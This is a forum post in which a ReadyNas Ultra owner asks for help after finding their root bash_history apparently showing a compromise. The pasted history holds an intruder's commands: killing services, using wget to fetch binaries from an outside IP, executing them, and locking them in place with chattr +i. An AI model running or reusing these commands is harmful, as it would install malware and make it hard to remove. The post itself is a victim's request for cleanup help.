ReadyNas Ultra hacked

Hi,

I think my ReadyNas Ultra is hacked to send Dos attacks. I found this under bash_history in the root directory.

c:
/c/
sickbeard
chmmod 777 sickbeard.log
"chmod 777 sickbeard.log"
passwd
ps -ef
killall -9 mt-daapd
killall -9 ifplugd
killall -9 proftpd
wget http://222.186.34.143:123/ssh26
chmod +x ssh26
./ssh26
chattr +i ssh26
ps -ef
killall -9 ssh26
killall -9 .sshd
killall -9 ssh2
wget http://222.186.34.143:123/26ssh33
chmod +x 26ssh33
./26ssh33
chattr +i 26ssh33
ps -ef
wget http://222.186.34.143:123/ssh33
chmod +x ssh33
./ssh33
chattr +i ssh33

It's not possible to delete the ssh33, ssh26 and 26ssh33 file in root directory. There are also files called bashrc, profile, conf.n

Any help to get rid of the problem are much appreciated.